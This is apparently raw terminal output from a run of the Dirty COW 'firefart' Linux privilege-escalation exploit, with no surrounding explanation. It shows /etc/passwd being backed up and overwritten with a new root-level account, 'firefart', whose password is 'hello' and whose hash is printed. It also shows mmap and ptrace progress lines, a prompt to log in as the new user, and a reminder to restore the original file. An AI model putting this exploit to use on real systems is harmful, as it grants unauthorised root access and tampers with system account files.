/etc/passwd successfully backed up to /tmp/passwd.bak Please enter the new password: hello Complete line: firefart:fiL7R2XneVpAU:0:0:pwned:/root:/bin/bash mmap: 7f78c276f000 ptrace 0 Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'firefart' and the password 'hello'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd